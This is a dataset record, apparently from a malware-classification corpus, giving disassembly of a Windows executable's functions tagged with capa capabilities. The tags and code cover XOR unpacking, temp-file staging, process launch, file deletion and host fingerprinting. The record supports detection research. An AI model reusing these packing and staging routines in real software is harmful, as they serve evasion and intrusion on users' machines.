joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x2dd34a9
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..text_1
nop
mov ebx, 0x42f314
mov ecx, 0x71fd1103
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
xor esi, esi
call fcn.00409a20
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409a20
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push 0x418618
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x41865c
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
push 0x418668
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
mov ecx, 1
push 0x4186b0
push eax
cmovne esi, ecx
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4010d7
or esi, 2
push 0x4186c8
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x4186bc
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401105
or esi, 4
push 0x418720
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x418714
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401136
or esi, 0x100
push 0x418780
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x418774
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401167
or esi, 0x200
push 0x4187e0
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x4187d4
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call ebx
cmp eax, 0xffffffff
je 0x401198
or esi, 0x400
mov ecx, dword [ebp - 4]
or esi, 0x2000000
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x401470
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x48], ax
lea eax, [ebp - 0x46]
push eax
call fcn.00409a20
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
call fcn.00403cb0
add esp, 4
xor ecx, ecx
jmp 0x4014b0
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x41bf88], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4014b0
push 0x41bf88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4014f1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
push 0x41bf88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4014e1
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x41cb20
call fcn.00401da0
test eax, eax
jne 0x4015c0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x418894]
mov word [ecx + 0x41ccc8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401530
push 0x4188a0
push 0x40
push 0x41cb24
call fcn.00405f79
add esp, 0xc
push 0x4188bc
push 0x10
push 0x41cba6
call fcn.00405f79
add esp, 0xc
push 0x4188c8
push 0x40
push 0x41cbc6
call fcn.00405f79
mov eax, 0x51
mov word [0x41cba4], ax
mov eax, 0x2b8e
add esp, 0xc
mov word [0x41cc46], ax
xor ecx, ecx
lea ebx, [ebx]
movzx eax, word [ecx + 0x4188e4]
mov word [ecx + 0x41cca8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4015a0
mov dword [0x41cce8], 5
call fcn.00403df0
push 0x4188f4
call fcn.00403f10
add esp, 4
mov dword [0x41ce20], eax
call fcn.00401250
push 0
push 0
push 0
push 0x4013b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x401610
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call fcn.004048f0
add esp, 8
mov dword [ebp - 0x418], eax
test eax, eax
jne 0x40172f
push esi
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409a20
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.00409a20
add esp, 0x18
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41c3a8
cmp word [esi], 0
je 0x4016c3
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405f79
push esi
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00405fd5
add esp, 0x18
add esi, 0x118
cmp esi, 0x41c920
jl 0x401690
mov esi, 0x41c3a8
cmp word [esi], 0
je 0x4016e9
push 1
push edi
push ebx
push esi
call fcn.004058a0
add esp, 0x10
add esi, 0x118
cmp esi, 0x41c920
jl 0x4016d6
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405fd5
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x418]
mov ecx, 2
cmove eax, ecx
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x4019f0
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x41beb8
push 0x67
push edi
call esi
push 0x64
push 0x41bdf0
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401b90
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x41beb8
push 0x41bdf0
push 0
mov dword [0x41bf80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401a82
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00405e34
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push 0x41af08
call fcn.00402be0
add esp, 4
call fcn.00402110
test eax, eax
je 0x401abb
call fcn.00403810
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401470
test eax, eax
je 0x401a6a
call fcn.00401740
mov eax, dword [0x41ce20]
test eax, eax
je 0x401af6
cmp word [0x41ce24], 0
jbe 0x401af6
push 0x41aef8
push eax
call fcn.00404560
mov ax, word [0x41ce24]
add esp, 8
mov word [0x41aef4], ax
xor ecx, ecx
jmp 0x401b00
movzx eax, word [ecx + 0x418a64]
mov word [ecx + 0x41c1a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401b00
call fcn.00404610
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00409a20
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41c1a0
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00405fd5
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x418a78
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401e40
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test edi, edi
je 0x401f63
test esi, esi
je 0x401f63
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401e70
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x401f65
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00409a20
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x401edf
cmp dword [0x41af08], 3
jne 0x401edf
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418a98
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405fd5
add esp, 0xc
jmp 0x401ef1
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405fd5
push 0x418a9c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], 0
call fcn.004061cc
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x401f63
push eax
push 1
push 0x200
push edi
call fcn.0040649e
push dword [ebp - 0x210]
call fcn.004065b6
add esp, 0x14
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405e34
mov esp, ebp
pop ebp
ret

Function at 0x402020
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor edx, edx
jmp 0x402040
not byte [esi + edx]
inc edx
cmp edx, 0x200
jb 0x402040
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00409a20
add esp, 0xc
mov dword [ebp - 0x214], 0
test esi, esi
je 0x4020f5
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x418abc
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00405fd5
push 0x418ad8
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.004061cc
mov eax, dword [ebp - 0x214]
add esp, 0x18
test eax, eax
je 0x4020e1
push eax
push 1
push 0x200
push esi
call fcn.00406784
push dword [ebp - 0x214]
call fcn.004065b6
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x402a30
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00409a20
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x200
push 0
push eax
call fcn.00409a20
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.00401f80
test eax, eax
je 0x402b62
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x418c68]
mov word [ecx + 0x41c018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402a90
xor ecx, ecx
jmp 0x402ab0
movzx eax, word [ebp + ecx - 0x38a]
mov word [ecx + 0x41c120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402ab0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x40c]
mov word [ecx + 0x41c0a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402ad0
cmp dword [0x41af08], 3
movzx eax, word [ebp - 0x38c]
mov word [0x41c098], ax
movzx eax, word [ebp - 0x2ea]
mov word [0x41c010], ax
lea eax, [ebp - 0x210]
mov dword [0x41c00c], 5
push eax
je 0x402b1f
push 1
jmp 0x402b21
push 0
call fcn.00403610
add esp, 8
lea eax, [ebp - 0x210]
push 0x418c84
push 0x104
push eax
call fcn.00405fd5
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00405e34
mov esp, ebp
pop ebp
ret

Function at 0x402be0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
xor ecx, ecx
mov word [ebp - 0x12c], cx
push 0x11c
push 0
lea edx, [ebp - 0x120]
push edx
call fcn.00409a20
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402cc0
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x124], edx
mov ax, word [ebp - 0xc]
mov word [ebp - 0x12c], ax
cmp dword [ebp - 0x128], 5
jne 0x402c91
cmp dword [ebp - 0x124], 2
jae 0x402c88
cmp dword [ebp - 0x124], 1
jne 0x402c91
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 0x128], 6
jne 0x402cc0
cmp dword [ebp - 0x124], 0
jne 0x402cae
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x402cc0
cmp dword [ebp - 0x124], 1
jne 0x402cc0
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x402cd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409a20
add esp, 0xc
cmp dword [0x41af08], 3
jne 0x402d38
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418c9c
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405fd5
add esp, 0xc
jmp 0x402d4a
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
push 0x418ca0
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret

Function at 0x403040
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0xffffffff
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409a20
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x20c]
sub ecx, 0x41
mov dword [ebp - 0x218], ecx
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x218]
push eax
call fcn.00403310
add esp, 8
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.00403480
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x4030f3
xor eax, eax
jmp 0x403106
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x214]
push eax
call fcn.00402e60
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret

Function at 0x403270
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x4032ad
jmp 0x4032fe
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
push 0
push 0x200
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.0040dca0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x403610
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x40362a
mov eax, dword [ebp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x40364f
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418d24
push 0x104
mov edx, dword [ebp + 0xc]
push edx
call fcn.00405fd5
add esp, 0xc
pop ebp
ret

Function at 0x403660
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
push 0x418d28
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.004061cc
add esp, 0xc
test eax, eax
je 0x40369e
xor eax, eax
jmp 0x40377f
mov dword [ebp - 0x10], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00406fa0
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.00407378
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00406fa0
add esp, 0xc
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
push edx
call fcn.00406e47
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040649e
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004065b6
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
push edx
call fcn.00403790
add esp, 8
push 0x418d30
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.004061cc
add esp, 0xc
test eax, eax
je 0x403738
xor eax, eax
jmp 0x40377f
mov edx, dword [ebp - 0x10]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00406784
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004065b6
add esp, 4
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x40377c
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00406ed9
add esp, 4
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x4041a0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0x10
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x3a98
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x404231
mov dword [ebp - 0x18], 0xffffffff
jmp 0x404358
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x6f
jne 0x40426c
mov edx, dword [ebp - 0x10]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x14], 0x6f
jne 0x404281
cmp dword [ebp - 0x1c], 3
jb 0x404204
cmp dword [ebp - 0x14], 0
jne 0x404346
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x404344
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x34], 6
jne 0x404336
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x1c], 0
je 0x404336
mov ecx, dword [ebp - 0xc]
add ecx, 0x2c
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov dword [edx], eax
mov cx, word [ecx + 4]
mov word [edx + 4], cx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
shl edx, 1
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 3], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
imul edx, edx, 3
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 2], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
shl edx, 2
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax + 1], cl
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, 1
imul edx, edx, 5
mov eax, dword [ebp + 0xc]
mov cl, byte [ecx + edx + 2]
mov byte [eax], cl
jmp 0x404344
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0xc], eax
jmp 0x404291
jmp 0x404351
mov dword [ebp - 0x18], 0xfffffffd
jmp 0x404358
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x10], 0
je 0x404371
mov ecx, dword [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret
Function at 0x404710
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x418], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004048f0
add esp, 8
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x404758
mov eax, dword [ebp - 0x418]
jmp 0x4048da
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.00409a20
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x414], cx
push 0x206
push 0
lea edx, [ebp - 0x412]
push edx
call fcn.00409a20
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x4047c3
mov ecx, dword [ebp - 0x420]
add ecx, 1
mov dword [ebp - 0x420], ecx
cmp dword [ebp - 0x420], 5
jge 0x404832
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
mov eax, 2
imul eax, eax, 0
movzx ecx, word [edx + eax + 0x41c3a8]
test ecx, ecx
jne 0x4047ee
jmp 0x4047b4
lea edx, [ebp - 0x20c]
push edx
push 0x104
lea eax, [ebp - 0x414]
push eax
call fcn.00405f79
add esp, 0xc
mov ecx, dword [ebp - 0x420]
imul ecx, ecx, 0x118
add ecx, 0x41c3a8
push ecx
push 0x104
lea edx, [ebp - 0x414]
push edx
call fcn.00405fd5
add esp, 0xc
jmp 0x4047b4
mov dword [ebp - 0x41c], 0
jmp 0x40484d
mov eax, dword [ebp - 0x41c]
add eax, 1
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 5
jge 0x40489f
mov ecx, dword [ebp - 0x41c]
imul ecx, ecx, 0x118
mov edx, 2
imul edx, edx, 0
movzx eax, word [ecx + edx + 0x41c3a8]
test eax, eax
jne 0x404878
jmp 0x40483e
push 1
movzx ecx, word [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x41c]
imul eax, eax, 0x118
add eax, 0x41c3a8
push eax
call fcn.004058a0
add esp, 0x10
jmp 0x40483e
push 0x41c1a0
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00405fd5
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4048d4
mov dword [ebp - 0x418], 2
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405e34
mov esp, ebp
pop ebp
ret